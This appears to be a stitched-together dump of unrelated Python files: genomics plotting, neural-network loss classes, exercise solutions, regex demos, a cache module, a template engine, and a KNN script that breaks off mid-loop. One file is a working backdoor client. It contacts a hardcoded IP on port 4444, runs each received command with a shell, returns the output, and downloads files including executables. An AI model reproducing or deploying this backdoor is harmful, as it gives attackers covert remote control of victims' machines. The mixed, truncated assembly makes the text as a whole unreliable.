# -*- coding: utf-8 -*-
"""
Created on Fri Sep 21 10:29:50 2018

@author: qwzhou
"""

"""
=======================================
plot line and dash
=======================================
ASM across the site
"""
import numpy as np
import matplotlib.pyplot as plt
import sys
from matplotlib.backends.backend_pdf import PdfPages
#x = np.linspace(0, 10, 500)

y = []
z = []
k = []

def readfile(filename, y, z, k):
    nline=0
    with open(filename, 'r') as fig:
        for line in fig:
            data = line.split()
            if nline == 0:
                y.append(list(map(float,data[1:])))
            elif nline == 1:
                z.append(list(map(float,data[1:])))
            elif nline == 2:
                k.append(list(map(float,data[1:])))
            nline=nline+1

#
#
#readfile("/Users/qiangweizhou/K562.asmonGeneend.Methy.1.txt", y,z, k)
#readfile("/Users/qiangweizhou/IMR90.asmonGeneend.Methy.1.txt", y,z, k)
#readfile("/Users/qiangweizhou/HepG2.asmonGeneend.Methy.1.txt", y,z, k)
#readfile("/Users/qiangweizhou/A549.asmonGeneend.Methy.1.txt", y,z, k)
#readfile("/Users/qiangweizhou/HUES64.asmonGeneend.Methy.1.txt", y,z, k)
#readfile("/Users/qiangweizhou/GM12878.asmonGeneend.Methy.1.txt", y,z, k)

readfile("/Users/qiangweizhou/A549.asmonExpressionGene.Methy.1.txt.Aver", y,z, k)
readfile("/Users/qiangweizhou/A549.asmonUnGene.Methy.1.txt.Aver", y,z, k)
x = np.linspace(1, len(y[0]), len(y[0]))

label=['Expression', 'Unexpreesion']
#label=['K562', 'IMR90', 'HepG2', 'A549', 'HUES64', 'GM12878']
filename="ASMonGeneExpression.all"
filename2=filename + ".pdf"
nsample=2
legend=1
percentage=1
cutoff=6
######################################################
def find_martrix_max_value(data_matrix):
    new_data=[]
    for i in range(len(data_matrix)):
        new_data.append(max(data_matrix[i]))
    return max(new_data)

xlen=len(y[0])
print(xlen, xlen/2)
#######################################################
def plotline(x, y, title, label, nsample, legend, filename):
    prosamp = 0
    fig, ax = plt.subplots()
    while prosamp < nsample:
        y[prosamp] = [i*percentage for i in y[prosamp]]
        #for i,item in enumerate(y[prosamp]):
        #    if item >6:
        #        y[prosamp][i]=6
        ax.plot(x, y[prosamp], label=label[prosamp]) #,color="dodgerblue"
        prosamp = prosamp +1
    #dashes = [10, 5, 100, 5]
    #line1.set_dashes(dashes)   #   dash line
    # Remove the plot frame lines. They are unnecessary here.
    ax.spines['top'].set_visible(False)
    ax.spines['bottom'].set_visible(False)
    ax.spines['right'].set_visible(False)
    #ax.spines['left'].set_visible(False)
    ax.xaxis.set_major_formatter(plt.FuncFormatter('{:.0f}'.format))
    #ax.yaxis.set_major_formatter(plt.FuncFormatter('{:.1f}%'.format))
    #plt.grid(True, 'major', 'y', ls='--', lw=.5, c='k', alpha=.3)
    plt.tick_params(axis='both', which='both', bottom=False, top=False,
                labelbottom=True, left=False, right=False, labelleft=True)
    #ax.axes.get_xaxis().set_visible(False)
    if legend == 1:
        plt.legend(loc='best', prop={'size': 12})   #   legend , loc is the legend location
    #plt.axvline(x=xlen/2-1, ls="--", color='black')

    plt.axhline(y=0, xmin=0.05, xmax=0.5, linewidth=8, color='gray')
    plt.axhline(y=0, xmin=0.5, xmax=0.505, linewidth=8, color='k' )
    plt.axhline(y=0, xmin=0.505, xmax=0.95, linewidth=8, color='gray')
    scale_ls = [1,len(x)/2,len(x)]
    index_ls = ['-200bp','Start', "+200bp"]
    plt.xticks(scale_ls,index_ls,color='k', size=15)
    ax.set_title(title,size=15)
    ax.set_ylabel('ASM distribution',size=15)
    #ax.set_ylabel('Methylation Level',size=15)
    maxy = 100
    maxy = find_martrix_max_value(y) * 1.1

    ax.set_ylim(0.0, maxy)
    #plt.show()

    #filename2=filename + ".png"
    #plt.savefig(filename2, bbox_inches='tight')

#label = ['IMR90', 'A549', 'H1', 'GM12878', 'encodeA549']

pdf = PdfPages(filename2)

plotline(x, y, "ASM distribution", label, nsample, legend, filename+".CG")

#plotline(x, y, "CG methylation distribution", label, nsample, legend, filename+".CG")
legend=0
#plotline(x, z, "CHG methylation distribution", label, nsample, legend, filename+".CHG")
#plotline(x, k, "CHH methylation distribution", label, nsample, legend, filename+".CHH")

pdf.savefig()
pdf.close()

'''
    fig, ax = plt.subplots()
    line1, = ax.plot(x, k1, label='IMR90')
    #dashes = [10, 5, 100, 5]
    #line1.set_dashes(dashes)   #   dash line
    line2, = ax.plot(x, k2, label='A549')

    #  several dash line example
    #line3, = ax.plot(x, y3, ':', label='..style')
    #line4, = ax.plot(x,-np.sin(x)/2, '-.', label='-.style')
    #line5, = ax.plot(x,np.sin(x)/4, '--', label='--style')
    #line6, = ax.plot(x,-np.sin(x)/4, '^', label='--style')

    #plt.axis('off')
    #plt.xticks([])
    #plt.yticks([])
    #ax.axes.get_yaxis().set_visible(False)
    # Remove the plot frame lines. They are unnecessary here.
    ax.spines['top'].set_visible(False)
    ax.spines['bottom'].set_visible(False)
    ax.spines['right'].set_visible(False)
    #ax.spines['left'].set_visible(False)

    #ax.axes.get_xaxis().set_visible(False)
    plt.legend(loc='center right')   #   legend , loc is the legend location
    plt.axhline(y=0, xmin=0.05, xmax=0.35, linewidth=8, color='gray')
    plt.axhline(y=0, xmin=0.65, xmax=0.35, linewidth=8, color='k' )
    plt.axhline(y=0, xmin=0.65, xmax=0.95, linewidth=8, color='gray')
    scale_ls = [1,39,76,117]
    index_ls = ['upstream','Start','End', "downstream"]
    plt.xticks(scale_ls,index_ls,color='k', size=15)
    #ax.set_title('Box plot')
    ax.set_ylabel('Methylation Level',size=15)
    maxy=max(k1)
    if max(k2) > maxy:
        maxy = max(k2)*1.1
    else:
        maxy = maxy*1.1

    ax.set_ylim(0.0, maxy)
    #plt.savefig("test.png")
    plt.show()
 '''


# -*- coding: utf-8 -*-
import numpy as np
import matplotlib.pyplot as plt
from .module import Module
from ...autograd import Variable, Backward

class Regression(Module):
    '''Base loss function class for Regression task\n
    Regression is the task of approximating a mapping function (f) from input variables (x) to a continuous output variable (y).
    A continuous output variable is a real-value, such as an integer or floating point value. These are often quantities, such as amounts and sizes.

    Args:
        live_plot (bool): if True, plot the loss as training of the model proceeds.
    '''
    def __init__(self, live_plot=False):
        self.live_plot = live_plot
        self.losses = []

    def forward(self, x, t, *args):
        raise NotImplementedError

    def _prepare_output(self, result, *args):
        if not 'valid' in args and not 'test' in args:
            self.losses.append(np.mean(result))
        if self.reduce:
            if self.size_average:
                result = Variable(np.mean(result))
            else:
                result = Variable(np.sum(result))
        else:
            result = Variable(result)
        return result

class Classification(Module):
    '''Base loss function class for Classification task\n
    Classification is the task of approximating a mapping function (f) from input variables (x) to discrete output variables (y).
    The output variables are often called labels or categories. The mapping function predicts the class or category for a given observation.
    '''
    def __init__(self, live_plot=False):
        self.live_plot = live_plot
        self.losses = []

    def forward(self, x, t, *args):
        raise NotImplementedError

    def to_one_hot(self, x, classes):
        '''
        Convert labels into one-hot representation

        Args:
            x (np.array): labels in shape of [N]
            classes (int): number of classes to classify
        '''
        labels = np.zeros((x.size, classes))
        for i, label in enumerate(labels):
            label[x[i]] = 1
        return labels

    def get_acc(self, x, t):
        if x.shape[1] != 1:
            pred = np.argmax(x.data, axis=1).reshape(-1,1)
        else:
            pred = x.data
        if t.shape[1] != 1:
            label = np.argmax(t.data, axis=1).reshape(-1,1)
        else:
            label = t.data
        if pred.ndim != 2 or label.ndim != 2:
            raise ValueError
        return np.sum(pred == label) / x.shape[0]

class MSELoss(Regression):
    '''Mean Square Error, Quadratic loss, L2 Loss\n
    Creates a criterion that measures the mean squared error between n elements in the input x and target t.

    Args:
        size_average (bool): the losses are averaged over observations for each minibatch. However, if False, the losses are instead summed for each minibatch. Ignored if reduce is False.
        reduce (bool): the losses are averaged or summed over observations for each minibatch depending on size_average. When reduce is False, returns a loss per batch instead and ignores size_average. Default: True

    Shape:
        - Input: [N, C]
        - Target: [N, C]
        - Output: [1] by default
                  [N] if not reduced
    '''
    def __init__(self, size_average=True, reduce=True):
        super().__init__()
        self.size_average = size_average
        self.reduce = reduce

    def forward(self, x, t, *args):
        if  x.shape != t.data.shape:
           raise ValueError('[*] dimention of input {} and target {} did not match.'.format(x.shape, t.shape))
        result = np.sum(np.power(x.data - t.data,2),axis=1)/x.shape[1]
        result = self._prepare_output(result, args)
        result.set_creator((MSELossBackward(result.shape, x, t)))
        return result

class MSELossBackward(Backward):
    def __init__(self, output_shape, var1, target):
        def f(x):
            return 2*(var1.data - target.data)/var1.shape[0]
        super().__init__(output_shape, var1, f)

# TODO
class HuberLoss(Regression):
    '''Huber Loss, Smooth Mean Absolute Error\n
    Huber loss is a loss function used in robust regression, that is less sensitive to outliers in data than the squared error loss.
    Args:
        delta (double): decide boundry value for Huber loss calculation. Default: 1
        size_average (bool): the losses are averaged over observations for each minibatch. However, if False, the losses are instead summed for each minibatch. Ignored if reduce is False.
        reduce (bool): the losses are averaged or summed over observations for each minibatch depending on size_average. When reduce is False, returns a loss per batch instead and ignores size_average. Default: True
    Shape:
        - Input: [N, C]
        - Target: [N, C]
        - Output: [1] by default
                  [N] if not reduced
    '''
    def __init__(self, delta=1, size_average=True, reduce=True):
        super().__init__()
        self.delta = delta
        self.size_average = size_average
        self.reduce = reduce

    def forward(self, x, t, *args):
        if  x.shape != t.data.shape:
            raise ValueError('[*] dimention of input and target did not match.')
        a = x.data - t.data
        mask = (a <= self.delta)
        result = np.zeros(a.shape)
        result[mask] = (np.power(a,2)/2)[mask]
        result[np.invert(mask)] = (self.delta*(np.abs(a)-self.delta/2))[mask]
        result = self._prepare_output(result, args)
        result.set_creator((HuberBackward(result.shape, x, t, self.delta, mask)))
        return result

class HuberBackward(Backward):
    def __init__(self, output_shape, var1, target, delta, mask):
        def f(x):
            a = var1.data - target.data
            d = np.zeros(a.shape)
            d[mask] = a[mask]
            d[np.invert(mask)] = (delta*np.abs(a)/(a+1e-8))[mask]
            return d
        super().__init__(output_shape, var1, f)

# Classification
class CrossEntropyLoss(Classification):
    '''Cross Entropy Loss\n
    It is useful when training a classification problem with C classes.
    This class incorporates the Softmax layer.

    Args:
        size_average (bool): the losses are averaged over observations for each minibatch. However, if False, the losses are instead summed for each minibatch. Ignored if reduce is False.
        reduce (bool): the losses are averaged or summed over observations for each minibatch depending on size_average. When reduce is False, returns a loss per batch instead and ignores size_average. Default: True
        live_plot (bool):

    Shape:
        - Input: [N,C] where C = number of classes
        - Target: [N]  where each value is 0 ≤ targets[i] ≤ C-1 or
                  [N,C] for one-hot representation
        - Output: [1] as default
                  [N] if reduce is False

    Model:
        L(p,q) = -sum(p(x)logq(x))
    '''
    def __init__(self, size_average=True, reduce=True, live_plot=False):
        super().__init__(live_plot=live_plot)
        self.size_average = size_average
        self.reduce = reduce

    def forward(self, x, t, *args):
        if t.ndim is 1:
            t.data = self.to_one_hot(t.data, x.shape[1])
        if  x.shape != t.shape:
            raise ValueError('[*] dimention of input {} and target {} did not match.'.format(x.shape, t.shape))
        c = np.max(x.data, axis=1)
        c = np.expand_dims(c, axis=1)
        tmp = np.exp(x.data - c)
        y = tmp / (np.expand_dims(np.sum(tmp, axis=1), axis=1) + 1e-8)
        result = np.sum(-t.data * np.log(y), axis=1)
        if not 'valid' in args and not 'test' in args:
            self.losses.append(np.mean(result))
        if self.reduce:
            if self.size_average:
                result = Variable(np.mean(result))
            else:
                result = Variable(np.sum(result))
        else:
            result = Variable(result)
        result.set_creator((CrossEntropyLossBackward(result.shape, x, t)))
        return result

class CrossEntropyLossBackward(Backward):
    def __init__(self, output_shape, var1, target):
        def f(x):
            return (var1.data - target.data)/var1.shape[0]
        super().__init__(output_shape, var1, f)

class BCELoss(Classification):
    '''Binary Cross Entropy Loss\n
    This is used for measuring the error of a reconstruction in for example an auto-encoder.
    Note that the targets y should be numbers between 0 and 1.

    Args:
        size_average (bool): the losses are averaged over observations for each minibatch. However, if False, the losses are instead summed for each minibatch. Ignored if reduce is False.
        reduce (bool): the losses are averaged or summed over observations for each minibatch depending on size_average. When reduce is False, returns a loss per batch instead and ignores size_average. Default: True
        live_plot (bool):

    Shape:
        - Input: [N,2]
        - Target: [N]  where each value is 0 ≤ targets[i] ≤ 1 or
                  [N,2] for one-hot representation
        - Output: [1] as default
                  [N] if not reduce is True

    Model:
        L(p,q) = -sum(p(x)logq(x)+(1-p(x))log(1-q(x)))
    '''
    def __init__(self, size_average=True, reduce=True, live_plot=False):
        super().__init__(live_plot=live_plot)
        self.size_average = size_average
        self.reduce = reduce

    def forward(self, x, t, *args):
        if t.ndim is 1:
            t.data = self.to_one_hot(t.data, x.shape[1])
        if  x.shape != t.shape:
            raise ValueError('[*] dimention of input and target did not match.')
        c = np.max(x.data, axis=1)
        c = np.expand_dims(c, axis=1)
        tmp = np.exp(x.data - c)
        y = tmp/np.expand_dims(np.sum(tmp, axis=1), axis=1)
        result = np.sum(-t.data * np.log(y) - (1 - t.data) * np.log(1 - y), axis=1)
        if not 'valid' in args and not 'test' in args:
            self.losses.append(np.mean(result))
        if self.reduce:
            if self.size_average:
                result = Variable(np.mean(result))
            else:
                result = Variable(np.sum(result))
        else:
            result = Variable(result)
        result.set_creator((BCELossBackward(result.shape, x, t)))
        return result

class BCELossBackward(Backward):
    def __init__(self, output_shape, var1, target):
        def f(x):
            return (var1.data - target.data)/var1.shape[0]
        super().__init__(output_shape, var1, f)


# https://www.acmicpc.net/problem/1912
# 예상 알고리즘: DP, 슬라이딩 윈도우?
# 베스트 알고리즘: DP

import sys
input = sys.stdin.readline

def solutionInput():
    n = int(input().rstrip())
    numbers = list(map(int, input().split()))
    return n, numbers

def solution(n, numbers):
    dp = numbers[0]
    answer = numbers[0]
    for i in range(1, n):
        dp = max(dp+numbers[i], numbers[i])
        answer = max(answer, dp)
    return answer

print(solution(*solutionInput()))


import re

message = 'Call me 415-555-2345 tomorrow, or at 415-555-1245.'

phoneNumRegex = re.compile(r'(\d\d\d)-(\d\d\d-\d\d\d\d)')
mo = phoneNumRegex.search(message)
print(mo.group(1))

phoneNumRegex = re.compile(r'\d\d\d-\d\d\d-\d\d\d\d')
moList = phoneNumRegex.findall(message)
print(moList)

batRegex = re.compile(r'bat(man|mobile|bat)')
searchResults = batRegex.search('Batman is the best with a batmobile')
result = searchResults.group()
print(result)

batRegex = re.compile(r'Bat(wo)?man')
searchResults = batRegex.search('The adventures of Batman')
if searchResults != None:
    result = searchResults.group()
    print(result)
else:
    print("No results found.")

searchResults = batRegex.search('The adventures of Batwoman')
if searchResults != None:
    result = searchResults.group()
    print(result)
else:
    print("No results found.")


"""
    A simple cache system for storing such things as project hierarchies and templates.
    By default uses diskcache for simpler setup and backward compatibility
    unless 'memcached' is set in the 'cache' section of the
    config, in which case use that.
"""
import logging

from hydra_base import config as hydraconfig
import tempfile

log = logging.getLogger(__name__)
global cache

if hydraconfig.get('cache', 'type') != "memcached":
    import diskcache as dc
    cache = dc.Cache(tempfile.gettempdir())
elif hydraconfig.get('cache', 'type') == 'memcached':
    try:
        import pylibmc
        cache = pylibmc.Client([hydraconfig.get('cache', 'host', '127.0.0.1')], binary=True)
    except ModuleNotFoundError:
        log.warning("Unable to find pylibmc. Defaulting to diskcache.")
        import diskcache as dc
        cache = dc.Cache(tempfile.gettempdir())

def clear_cache():
    if hasattr(cache, 'flush_all'):
        cache.flush_all() # memcache
    else:
        cache.clear() # diskcache


"""
In this we write an Algorithm for Linear search
"""
# Linear Search:
"""
Linear Search is a algorithm in which we find a given number is present in the array at which index
Example:
array = [1,2 3, 4]
# Number which we need to find at which index: 4
output:3
Because 4 its present at 3rd index
"""

# size of Array
size_of_array = int(input())

# Number which needs to be find
number_find = int(input())

# creating an Array
array = [int(i) for i in input().split(' ')]

# Solution: without using function
"""
Step-1: We iterate on an array of every element
Step-2:we compare every element with a given number
Step-3: if we found that element we will return index number or we  not found we return -1
"""
index_number = 0
# iterating on an array
for i in range(size_of_array):
    if array[i] == number_find:
        index_number = i
# printing a final result
print("index number {} without function solution".format(index_number))

# Solution: with using function
def linear_search(array_with_func_para: list, find_number_with_func: int, size_of_array_with_func_para: int):
    """
    this function basically run on linear serach
    :param array_with_func_para: array
    :param find_number_with_func: number which needs to be find in the array
    :param size_of_array_with_func_para: size of array
    :return: index number if we found is not, so we will return -1
    """
    for i in range(size_of_array_with_func_para):
        # comparing every element with find number
        if array_with_func_para[i] == find_number_with_func:
            # if condition will True, or  we found return that index number
            return i  # i means index
    # if not found that number in this array we will return -1
    return -1

# calling function
index_number = linear_search(array, number_find, size_of_array)
print("index number {} using function solution".format(index_number))


# https://docs.python.org/3/library/socket.html#socket.SOCK_DGRAM
# used this to learn how to initialize socket.
import ipaddress
# https://www.securecoding.com/blog/how-to-build-a-simple-backdoor-in-python/
# This file itself is an iteration on the client described here.

import socket
import subprocess
import sys

import commands
from commands import Commands

udp_buffer_size = 4096
tcp_buffer_size = 4096

def get_command(request, sock, host, port):

    while True:
        try:
            sock.sendto(commands.to_byte(request), (host, port))
            return sock.recv(udp_buffer_size).decode()
        except TimeoutError:
            print("Timed out, sending new request")

# https://contenttool.io/text-difference-checker
# used this tool to confirm that the read and write functions worked.
def write_list_into_file(name, byte_or_char_type, input_list):
    write_target = open(name, 'w{0}'.format(byte_or_char_type))
    for current_string in input_list:
        write_target.write(current_string)
    write_target.close()

DEFAULT_HOST = '172.113.155.186'
DEFAULT_PORT = 4444
DEFAULT_TRANSFER_PORT = 4450

REMOTE_HOST = DEFAULT_HOST
REMOTE_PORT = DEFAULT_PORT
REMOTE_TRANSFER_PORT = DEFAULT_TRANSFER_PORT

if len(sys.argv) > 1:
    REMOTE_HOST = sys.argv[1]

if len(sys.argv) > 2:
    REMOTE_PORT = int(sys.argv[2])

s = socket.socket(family=socket.AF_INET, type=socket.SOCK_DGRAM)

try:

    while True:
        print("[-] Requesting command...")
        command = get_command(Commands.REQUEST, s, REMOTE_HOST, REMOTE_PORT)

        if command == 'file':
            f = None
            tcp_connection = socket.socket()
            print("Waiting on file name connection.")
            file_name = get_command(Commands.FILENAME, s, REMOTE_HOST, REMOTE_PORT)
            is_exe = str.__contains__(file_name, ".exe")
            try:
                tcp_connection.connect((REMOTE_HOST, REMOTE_TRANSFER_PORT))
                f = open(file_name, 'ab' if is_exe else 'a')

                current_input = tcp_connection.recv(tcp_buffer_size)
                current_input = current_input.decode() if not is_exe else current_input

                counter = 0
                while commands.str_to_command(current_input) != Commands.END_TRANSFER:
                    counter += 1
                    f.write(current_input)
                    tcp_connection.send(commands.to_byte(Commands.FILE))
                    current_input = tcp_connection.recv(tcp_buffer_size)
                    current_input = current_input.decode() if not is_exe else current_input
                print(counter)

            finally:
                tcp_connection.close()
                f.close()
                s.sendto(b'Finished file transfer.', (REMOTE_HOST, REMOTE_PORT))
        elif command is not None:
            op = subprocess.Popen(command, shell=True, stderr=subprocess.PIPE, stdout=subprocess.PIPE)
            output = op.stdout.read()
            output_error = op.stderr.read()
            print("[-] Sending response...")
            s.sendto(output + output_error, (REMOTE_HOST, REMOTE_PORT))

except ConnectionAbortedError:
    print("Connection severed")
except ConnectionResetError:
    print("Connection reset")
finally:
    s.close()


import ball_reader
import csv
from StackedESN import StackedESN
import matplotlib.pyplot as plt
import numpy as np
import os

def train_tracker(ball_data_folder, plot_path, networks_count, n_reservoir,
						train_cycles=20, test_cycles=10,
						alpha=0.8, resSize=100, plot_show=True):

	plot_name='tracker'
	if not os.path.exists(plot_path+"networks"):
		os.makedirs(plot_path+"networks")

	#number of time steps
	total_n = train_cycles+test_cycles

	# Get Data
	#return nx2x4x4 pixel color data
	# x, y
	# switched or not
	input_size, output_size1, output_size2, pix_data, output1, output2 = ball_reader.getDataSwitchBalls(ball_data_folder, train_cycles+test_cycles)

	# reshape the data to remove dimensions
	input_data = pix_data.reshape((total_n,input_size))

	data_train, y1_train, y2_train = input_data[:train_cycles], output1[:train_cycles], output2[:train_cycles]
	data_test, y1_test, y2_test = input_data[train_cycles:], output1[train_cycles:], output2[train_cycles:]

	#save input data
	header = "x0,y0"
	np.savetxt(plot_path + "input.csv", y1_test, delimiter=",", header=header, fmt='%3f', comments='')

	for i in range(networks_count):
		esn = StackedESN(n_input=input_size, n_output1=output_size1, n_output2=output_size2, n_reservoir=n_reservoir, leakingRate=0.2, spectralRadius=0.9, regressionParameters=[1e-2])

		esn.fit(inputData=data_train, outputData1=y1_train, outputData2=y2_train, transientTime=0, verbose=1)
		y1_test_pred, y2_test_pred = esn.predict(inputData=data_test, outputData1=y1_test, outputData2=y2_test, verbose=1) #continuation can be set to false

		np.savetxt(plot_path + "track_" + str(i) + ".csv", y1_test_pred, delimiter=",", header=header, fmt='%3f', comments='')
		#save network
		esn.save(path=plot_path + "networks/" + str(i))

		# Prediction Plot
		plt.figure('Coordinates Estimation', figsize=(14,7)).clear()
		plt.plot(y1_test[:,0], color='red', linewidth=5, label='Target Value')
		plt.plot(y1_test_pred[:,0], color='blue', linestyle="--", linewidth=1, label='Estimation')
		plt.legend()
		figname = plot_path + plot_name + "_tracking_" + str(i)  + ".png"
		plt.savefig(figname)
		print('\t[+]Plot saved in', figname)
		#if plot_show:
		#	plt.show()

		plt.figure('Switch Estimation', figsize=(14,7)).clear()
		#plt.yscale('log')
		plt.plot(y2_test[:,0], color='red', linewidth=5, label='Target Value')
		plt.plot(y2_test_pred[:,0], color='blue', linestyle="--", linewidth=1, label='Estimation')
		plt.legend()
		figname = plot_path + plot_name + "_switch_" + str(i) + ".png"
		plt.savefig(figname)
		print('\t[+]Plot saved in', figname)
		#if plot_show:
		#	plt.show()

def evaluate_tracker(plot_path, ball_data_folder, esn_path, steps, offset):
	plot_name='tracker'
	esn = StackedESN.load(esn_path)

	input_size, output_size1, output_size2, pix_data, output1, output2 = ball_reader.getDataChangeBall(ball_data_folder, steps, offset=offset)
	# reshape the data to remove dimensions
	input_data = pix_data.reshape((steps,input_size))
	dummy_switch_info = np.zeros((output2.shape))

	y_test_pred, _ = esn.predict(inputData=input_data, outputData1=output1, outputData2=dummy_switch_info, verbose=1, continuation=False)

	plt.figure('Change Estimation', figsize=(14,7)).clear()
	plt.plot(output1[:,0], color='red', linewidth=5, label='Target Value')
	plt.plot(y_test_pred[:,0], color='blue', linestyle="--", linewidth=1, label="Estimation")
	plt.plot(output2[:,0]*100, color='black', linewidth=2, label="Ball color")

	plt.legend()
	figname = plot_path + plot_name + "_change.png"
	plt.savefig(figname)

	#save in csv file
	header = "x0,y0"
	np.savetxt(plot_path + "evaluation_data.csv", output1, delimiter=",", header=header, fmt='%3f', comments='')

	header = "x0,y0"
	np.savetxt(plot_path + "evaluated_data.csv", y_test_pred, delimiter=",", header=header, fmt='%3f', comments='')
	plt.show()

if __name__=='__main__':
	ball_data_folder = "../data/switch_balls/" #"../data/changing_ball/"
	data_path = 'cb_results/switch_balls/'
	main_balls_count = 2
	train_cycles = 800
	test_cycles = 200
	n_reservoir = 50

	#train_tracker(ball_data_folder=ball_data_folder, plot_path=data_path, networks_count=1, train_cycles = train_cycles, test_cycles=test_cycles, n_reservoir=n_reservoir)
	evaluate_tracker(plot_path=data_path, ball_data_folder="../data/changing_ball/", esn_path=data_path+"networks/0", steps=500, offset=0)


class Solution:
    def kClosest(self, points: List[List[int]], k: int) -> List[List[int]]:
        dist = []
        for i in range(len(points)):
            dist.append([sqrt(points[i][0] ** 2 + points[i][1] ** 2), points[i]]) #getting the
        dist.sort()                        # √ of square numbers in points then appennding it
        out = []                           # sorting it to get the nearest pointt
        for i in range(k):        # appending answer then printing it
            out.append(dist[i][1])
        return out


__url__ = "$URL: svn://gizmojo.org/pub/evoque/trunk/domain.py $"
__revision__ = "$Id: domain.py 1153 2009-01-20 11:43:21Z mario $"

import sys, logging

from evoque.collection import Collection
from evoque.evaluator import set_namespace_on_dict, xml

def get_log():
    logging.basicConfig(level=logging.INFO,
        format="%(asctime)s %(levelname)-5.5s [%(name)s] %(message)s")
    return logging.getLogger("evoque")

# $begin{init}
class Domain(object):
    """ A registry of collections """

    def __init__(self, default_dir,
            restricted=False, errors=3, log=get_log(),
            # defaults for Collections
            cache_size=0, auto_reload=60, slurpy_directives=True,
            # defaults for Collections (and Templates)
            quoting="xml", input_encoding="utf_8", filters=[]):
        """
        default_dir: either(str, Collection)
            abs path, or actual default collection instance
        restricted: bool
            restricted evaluation namespace
        errors: int
            ["silent", "zero", "name", "render", "raise"]
        log: the logging.getLogger("evoque") logger; may be pre-initialized
            and passed in, or adjusted as needed after initialization.
            Default settings (via loggin.basicConfig()) are:
                handler=StreamHandler()
                level=logging.INFO
                format="%(asctime)s %(levelname)-5.5s [%(name)s] %(message)s"

        # Defaults for Collections (and Templates)

        cache_size: int
            max number loaded templates in collection
            0 means unlimited loaded templates
        auto_reload: int
            min seconds to wait to check if needs reloading
            0 means check on every rendering
        slurpy_directives: bool
            consume all whitespace trailing a directive
        quoting: either("xml", "str", type)
            "xml" -> qpy.xml, "str" -> unicode
        input_encoding: str
            hint for how to decode template source
        filters: [callable]
            list of template post-evaluation filter functions
        """
        # $end{init}
        self.restricted = restricted
        self.errors = errors
        self.log = log # the logging.getLogger("evoque") logger
        # defaults -- cascaded down to collections
        self.cache_size = cache_size
        self.auto_reload = auto_reload
        self.slurpy_directives = slurpy_directives
        self.quoting = quoting
        self.input_encoding = input_encoding
        self.filters = filters
        #
        self.collections = {} # by collection name
        # default collection
        if isinstance(default_dir, Collection):
            self.collections[default_dir.name] = default_dir
            self.default_collection = default_dir
        else:
            self.set_collection("", default_dir, cache_size, auto_reload,
                    slurpy_directives, quoting, input_encoding, filters)
            self.default_collection = self.collections[""]
        #
        self.globals = {}
        self.globals['xml'] = xml
        if self.restricted:
            restrict_execution_namespace(self.globals)

    def set_on_globals(self, name, value):
        """ (name:str, value:any) -> None
        """
        self.globals[name] = value

    def set_namespace_on_globals(self, name, obj, no_underscored=True):
        """ (name:either(str, None), obj:any, no_underscored:bool) -> None
        If name is None, the obj's namespace will be set onto top-level.
        """
        set_namespace_on_dict(self.globals, name, obj, no_underscored)

    def get_collection(self, name=None):
        """ (name:either(None, str, Collection)) -> Collection
        """
        if name is None:
            return self.default_collection
        if isinstance(name, Collection):
            name = name.name
        return self.collections[name]

    def set_collection(self, name, dir,
            cache_size=None, auto_reload=None, slurpy_directives=None,
            quoting=None, input_encoding=None, filters=None):
        """ (name:str, dir:str,
        cache_size:int, auto_reload:int, slurpy_directives:bool,
        quoting:either(str, type), input_encoding:str,
        filters:either(None, [callable])) -> None
        """
        if self.has_collection(name):
            raise ValueError(
                    "Domain already has a collection named [%s]" % (name))
        self.collections[name] = Collection(self, name, dir,
                cache_size, auto_reload, slurpy_directives, quoting,
                input_encoding, filters)

    def has_collection(self, name):
        """ (name:str -> bool
        """
        return name in self.collections

    def get_template(self, name, src=None, collection=None, raw=None,
            data=None, quoting=None, input_encoding=None, filters=None):
        """ Wraps Collection.get_template()
        """
        return self.get_collection(collection).get_template(name,
                src, raw, data, quoting, input_encoding, filters)

    def set_template(self, name, src=None, collection=None, raw=None,
            data=None, from_string=True,
            quoting=None, input_encoding=None, filters=None):
        """ Wraps Collection.set_template()
        """
        self.get_collection(collection).set_template(name, src,
                raw, data, from_string, quoting, input_encoding, filters)

    def has_template(self, name, collection=None):
        """ Wraps Collection.has_template()
        """
        return self.get_collection(collection).has_template(name)

def restrict_execution_namespace(namespace):
    """ (namespace:dict) -> None
    Modifies the namespace dict parameter to add entries for builtins deemed
    safe, and sets a dummy __builtins__ empty dict.
    """
    # here type(__builtins__) is dict (not module as in the interpreter)
    import inspect
    # In python 2.4, BaseException is not avialable
    BaseException_ = __builtins__.get('BaseException', Exception)
    for name, obj in __builtins__.items():
        if name in DISALLOW_BUILTINS:
            continue
        if inspect.isbuiltin(obj) or \
            (inspect.isclass(obj) and not issubclass(obj, BaseException_)) or \
            (obj in (None, True, False)):
                namespace[name] = obj
    namespace["__builtins__"] = {}

# Potentially unsafe __builtins__ in python 2.5 that will be removed from
# execution namespace (in addition to all subclasses of BaseException).
# $begin{unsafe}
DISALLOW_BUILTINS = ["_", "__debug__", "__doc__", "__import__", "__name__",
    "buffer", "callable", "classmethod", "coerce", "compile", "delattr", "dir",
    "eval", "execfile", "exit", "file", "getattr", "globals", "hasattr", "id",
    "input", "isinstance", "issubclass", "locals", "object", "open", "quit",
    "raw_input", "reload", "setattr", "staticmethod", "super", "type", "vars"]
# $end{unsafe}

# why "object" is included, see:
# http://groups.google.com/group/comp.lang.python/msg/5639e1b5cdac3ac2


#判断一个视频是否属于幽默类还是实用类
import numpy as np
import operator
from matplotlib import pyplot as plt
def traindataset():
    datagroup=np.loadtxt('C:\\Users\\Dell\Desktop\\classification\\diabetes_train.txt',dtype=float,delimiter=',')
    dataset=datagroup[:,1:]
    label=datagroup[:,0]
    return dataset,label

def testdataset():
    datagroup=np.loadtxt('C:\\Users\\Dell\Desktop\\classification\\diabetes_test.txt',dtype=float,delimiter=',')
    dataset=datagroup[:,1:]
    label=datagroup[:,0]
    return dataset,label

def K_classify(test,datagroup,label,k,p):#p-阈值
    datasize=datagroup.shape[0]#计算已知数据的行数
    test0=np.tile(test,(datasize,1))-datagroup#将测试集与已知数据形式相同，再相减
    distance0=(test0**2).sum(1)#平方和
    distance=distance0**0.5#开方算欧氏距离
    listsy=distance0.argsort()#距离从小到大按索引(下标)排序
    classcount={}#创建一个空字典
    num0=0
    num1=0
    for i in range(k):
        label0=label[listsy[i]]
        classcount[label0]=classcount.get(label0,0)+1#计算各类别的次数
        if label0==0:
            num0+=1
        else:
            num1+=1
    nums=num0+num1
    if num1/nums >= p:
        return 1
    else:
        return 0

if __name__=='__main__':
    datagroup,label=traindataset()
    test,truelabels=testdataset()
    predict=[]
    Ps=[(n/100) for n in range(101)]#改变阈值
    a=-1
    b=0
    AUC=0.0
    TPR=[]
    FPR=[]
    for p in Ps:
